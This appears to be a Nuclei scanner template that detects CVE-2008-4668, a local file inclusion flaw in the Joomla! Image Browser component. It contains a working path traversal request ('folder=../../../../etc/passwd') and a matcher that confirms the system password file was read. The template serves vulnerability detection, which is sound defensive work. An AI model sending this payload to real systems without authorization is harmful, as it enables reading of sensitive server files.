id: CVE-2008-4668

info:
  name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6618
    - http://securityreason.com/securityalert/4464
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45490
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:P
    cvss-score: 9
    cve-id: CVE-2008-4668
    cwe-id: CWE-22
    epss-score: 0.01018
    epss-percentile: 0.83418
    cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: com_imagebrowser
  tags: cve2008,cve,joomla,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022023207d03c1bfaa267c692d1b97386f7447db4d95240ce037c24f1e1d90628a14022031aa4b71484a35dc80ad1fdcbebac65df2bade5f50478d95b438b068cc2a85c1:922c64590222798bb761d5b6d8e72950